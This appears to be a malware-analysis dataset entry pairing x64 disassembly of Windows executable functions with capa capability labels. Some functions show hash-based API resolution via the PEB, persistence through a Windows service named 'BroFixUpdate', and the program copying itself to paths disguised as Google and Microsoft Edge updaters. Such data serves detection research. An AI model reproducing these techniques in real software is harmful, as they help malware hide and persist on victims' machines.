joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140070a10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140070b34
cmp r8d, 0xff
jne 0x140070a71
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x140070a5b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x95ab0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14004d370
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14004d370
cmp r8d, 0xfb
jne 0x140070a83
lea r9, str.WILL
jmp 0x140070ac1
cmp r8d, 0xfc
jne 0x140070a95
lea r9, str.WONT
jmp 0x140070ac1
cmp r8d, 0xfd
jne 0x140070aa7
lea r9, [0x1400964d4]
jmp 0x140070ac1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x140070b1d
cmp r10d, 0x27
jg 0x140070af4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x960d0]
test r8, r8
jne 0x140070b04
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14004d370
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x140070adb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14004d370
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14004d370
add rsp, 0x38
ret

Function at 0x140070e80
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140070edf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14004d1f0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.140070a10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140071090
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140071238
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400710f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400710f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400710f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14007112c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140071182
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140071182
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140071182
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140071182
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140071182
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140070b40
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400711e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14004d1f0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140070f10
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140071230
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14004d1f0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400729a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400ab0c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140072a35
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140072a96
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14004d1f0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140086270
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140072b51
sub ecx, 1
je 0x140072bc4
sub ecx, 1
je 0x140072b00
cmp ecx, 1
je 0x140072ae3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140093f30]
call fcn.14004d1f0
jmp 0x140072bc4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400726d0
test eax, eax
je 0x140072bc4
jmp 0x140072a6a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140072bc4
sub rax, rsi
cmp rax, rbp
jae 0x140072bc4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14004d370
jmp 0x140072bc4
cmp r8d, 4
jle 0x140072bc4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140072bc4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14004d110
mov esi, eax
test eax, eax
je 0x140072ba3
mov edx, 5
mov rcx, rbx
call fcn.140073690
mov eax, esi
jmp 0x140072a6a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14005bac0
mov rcx, r14
call fcn.14005bda0
test eax, eax
je 0x140072a68
mov edx, 5
mov rcx, rbx
call fcn.140073690
mov eax, Ordinal_46
jmp 0x140072a6a
Function at 0x140085960
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400859a2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400859e9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140085a42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140085a00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140085a83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400996aa]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400996ab]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140085a50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140085a9c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140085ad6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140085adb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140085b24
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140085b24
dec r8
sub rdx, 1
jne 0x140085b0a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140087158
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400871a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400871a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400871a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400871a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400871a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400871a4
xor al, al
add rsp, 0x28
ret
Function at 0x1400013e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rbx, r9
mov esi, r8d
mov r13, rdx
mov r14, rcx
test r8b, 0xf
jne 0x140001539
mov ecx, esi
call fcn.1400084f4
mov r12, rax
mov ecx, dword [r14 + 4]
inc ecx
shl ecx, 4
call fcn.1400084f4
mov rbp, rax
mov r8, rax
mov rdx, rbx
mov rcx, r14
call fcn.140001a10
mov rcx, qword [rsp + 0xd0]
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x20], xmm0
xor r15d, r15d
test esi, esi
je 0x14000150d
nop dword [rax]
lea rbx, [r15 + r12]
lea rdi, [r15 + r13]
mov r9, rbp
mov r8, rbx
mov rdx, rdi
mov rcx, r14
call fcn.140001600
movzx eax, byte [rsp + 0x20]
xor byte [rbx], al
movzx eax, byte [rsp + 0x21]
xor byte [rbx + 1], al
movzx eax, byte [rsp + 0x22]
xor byte [rbx + 2], al
movzx eax, byte [rsp + 0x23]
xor byte [rbx + 3], al
movzx eax, byte [rsp + 0x24]
xor byte [rbx + 4], al
movzx eax, byte [rsp + 0x25]
xor byte [rbx + 5], al
movzx eax, byte [rsp + 0x26]
xor byte [rbx + 6], al
movzx eax, byte [rsp + 0x27]
xor byte [rbx + 7], al
movzx eax, byte [rsp + 0x28]
xor byte [rbx + 8], al
movzx eax, byte [rsp + 0x29]
xor byte [rbx + 9], al
movzx eax, byte [rsp + 0x2a]
xor byte [rbx + 0xa], al
movzx eax, byte [rsp + 0x2b]
xor byte [rbx + 0xb], al
movzx eax, byte [rsp + 0x2c]
xor byte [rbx + 0xc], al
movzx eax, byte [rsp + 0x2d]
xor byte [rbx + 0xd], al
movzx eax, byte [rsp + 0x2e]
xor byte [rbx + 0xe], al
movzx eax, byte [rsp + 0x2f]
xor byte [rbx + 0xf], al
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x20], xmm0
add r15d, 0x10
cmp r15d, esi
jb 0x140001460
mov rcx, rbp
call fcn.1400084b0
mov rax, r12
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rcx, [rsp + 0x38]
call fcn.1400013c0
nop
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.140001de0
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140001350
lea rdx, [0x1400369a8]
lea rcx, [rsp + 0x20]
call fcn.14000a24c
int3
Function at 0x140001a10
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r14
sub rsp, 0x20
mov r10d, dword [rcx]
xor r9d, r9d
mov r11, r8
mov r14, rcx
lea eax, [r10*4]
test eax, eax
je 0x140001a4c
nop
movzx eax, byte [r9 + rdx]
mov byte [r9 + r8], al
inc r9d
mov r10d, dword [rcx]
lea eax, [r10*4]
cmp r9d, eax
jb 0x140001a30
mov eax, dword [rcx + 4]
lea r9d, [r10*4]
inc eax
shl eax, 4
cmp r9d, eax
jae 0x140001bcd
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 8], r12
lea r12, [0x1400314d0]
mov qword [rsp], r15
lea r15d, [r9 + 2]
nop dword [rax]
mov ebp, dword [r14]
lea eax, [r9 - 4]
movzx r8d, byte [rax + r11]
xor edx, edx
lea eax, [r9 - 3]
movzx r10d, r8b
movzx ebx, byte [rax + r11]
lea eax, [r9 - 2]
movzx edi, byte [rax + r11]
lea eax, [r9 - 1]
movzx esi, byte [rax + r11]
mov eax, r9d
shr eax, 2
div ebp
test edx, edx
jne 0x140001b1b
movzx r10d, byte [rbx + r12]
xor edx, edx
movzx ebx, byte [rdi + r12]
mov eax, r9d
movzx edi, byte [rsi + r12]
mov cl, 1
movzx esi, byte [r8 + r12]
lea r8d, [rbp*4]
div r8d
sub eax, 1
je 0x140001b16
mov r8d, eax
nop word [rax + rax]
movzx eax, cl
add cl, cl
shr al, 7
movzx eax, al
imul edx, eax, 0x1b
xor cl, dl
sub r8, 1
jne 0x140001b00
xor r10b, cl
jmp 0x140001b39
cmp ebp, 6
jbe 0x140001b39
cmp edx, 4
jne 0x140001b39
movzx r10d, byte [r8 + r12]
movzx ebx, byte [rbx + r12]
movzx edi, byte [rdi + r12]
movzx esi, byte [rsi + r12]
mov ecx, r9d
lea eax, [rbp*4]
sub ecx, eax
xor r10b, byte [rcx + r11]
mov ecx, r9d
mov byte [r9 + r11], r10b
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
lea eax, [r15 - 1]
inc ecx
xor bl, byte [rcx + r11]
mov ecx, r9d
mov byte [rax + r11], bl
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
add ecx, 2
xor dil, byte [rcx + r11]
mov ecx, r9d
mov byte [r15 + r11], dil
add r9d, 4
mov eax, dword [r14]
shl eax, 2
sub ecx, eax
lea eax, [r15 + 1]
add ecx, 3
add r15d, 4
xor sil, byte [rcx + r11]
mov byte [rax + r11], sil
mov eax, dword [r14 + 4]
inc eax
shl eax, 4
cmp r9d, eax
jb 0x140001a90
mov r15, qword [rsp]
mov r12, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140002a80
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov rax, qword gs:[0x60]
mov ebp, ecx
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x10]
cmp qword [rdi + 0x30], 0
je 0x140002b7c
xor r14d, r14d
nop word [rax + rax]
mov rbx, qword [rdi + 0x30]
mov r10d, r14d
movups xmm0, xmmword [rdi + 0x58]
mov rdi, qword [rdi]
movsxd rax, dword [rbx + 0x3c]
mov r11d, dword [rax + rbx + 0x88]
test r11d, r11d
je 0x140002b72
movq rax, xmm0
shr rax, 0x10
cmp r14w, ax
jae 0x140002b21
psrldq xmm0, 8
movq r8, xmm0
movzx r9d, ax
movsx edx, byte [r8]
lea r8, [r8 + 1]
ror r10d, 0xd
cmp dl, 0x61
lea ecx, [r10 + rdx]
lea r10d, [rcx - 0x20]
cmovl r10d, ecx
sub r9, 1
jne 0x140002b00
mov r9d, dword [rbx + r11 + 0x18]
lea rsi, [rbx + r11]
mov eax, dword [rsi + 0x20]
dec r9d
add rax, rbx
lea r11, [rax + r9*4]
cmp r9d, 1
jbe 0x140002b72
nop dword [rax]
mov r8d, dword [r11]
lea r11, [r11 - 4]
add r8, rbx
mov eax, r14d
nop dword [rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
ror eax, 0xd
add eax, edx
test dl, dl
jne 0x140002b50
lea ecx, [rax + r10]
cmp ecx, ebp
je 0x140002b95
dec r9d
cmp r9d, 1
ja 0x140002b40
cmp qword [rdi + 0x30], r14
jne 0x140002ac0
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
mov eax, dword [rsi + 0x24]
lea ecx, [r9 + r9]
add rax, rbx
movzx edx, word [rcx + rax]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
jmp 0x140002b7e
Function at 0x140002fe0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14000300f
mov rcx, qword [rbx]
xor esi, esi
lea r8, str.BroFixUpdate
mov qword [rsp + 0x60], rsi
lea rdx, str.BroFixUpdate
mov qword [rsp + 0x58], rsi
mov r9d, 0xf01ff
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rcx
mov rcx, rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x110
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
jne 0x1400030aa
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400030a6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400030a1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003129
mov rcx, r8
call fcn.1400084b0
xor eax, eax
jmp 0x140003108
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov rcx, rdi
test eax, eax
jne 0x1400030c7
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x14000306c
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003103
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400030fe
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003129
mov rcx, r8
call fcn.1400084b0
mov eax, 1
mov byte [rbx], sil
lea r11, [rsp + 0x70]
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14000f42c
int3
Function at 0x140003380
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x190
mov rax, qword [0x140038080]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rax, qword [0x14003aac0]
test rax, rax
jne 0x1400034bd
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor esi, esi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x1400033e7
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400065e0
nop
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, qword [rsp + 0x40]
call fcn.1400084f4
mov rdi, rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14003aac0], rdi
mov rcx, qword [rsp + 0x40]
mov qword [0x14003aa58], rcx
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400034ba
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034e2
call fcn.1400084b0
mov rax, rdi
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140008490
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.14000f42c
int3
Function at 0x1400034f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x140038080]
xor rax, rsp
mov qword [rsp + 0xd0], rax
call fcn.140003380
movdqa xmm0, xmmword [0x1400326b0]
lea rcx, [rsp + 0x80]
movdqa xmm1, xmmword [0x1400326d0]
mov rdi, rax
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm0, xmmword [0x1400326a0]
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmm0, xmmword [0x1400326b0]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmm1, xmmword [str.osoftEdgeUpdate.__x86_GoogleUpEdgeUpdateMicrC:Program_FilesdateGoogleUpdat__x86_Microsoft_]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0xc0], 0x657865
movdqa xmm0, xmmword [0x1400326c0]
movdqa xmmword [rsp + 0xb0], xmm1
movdqa xmm1, xmmword [0x140032690]
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0x78652e65
movdqu xmmword [rsp + 0x58], xmm1
mov word [rsp + 0x7c], 0x65
call fcn.14000fe68
lea rcx, [rsp + 0x48]
call fcn.14000fe68
xor esi, esi
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r8d, dword [0x14003aa58]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r8d, dword [0x14003aa58]
lea r9, [rsp + 0x44]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
add eax, ebx
cmp eax, 2
sete al
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140008490
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret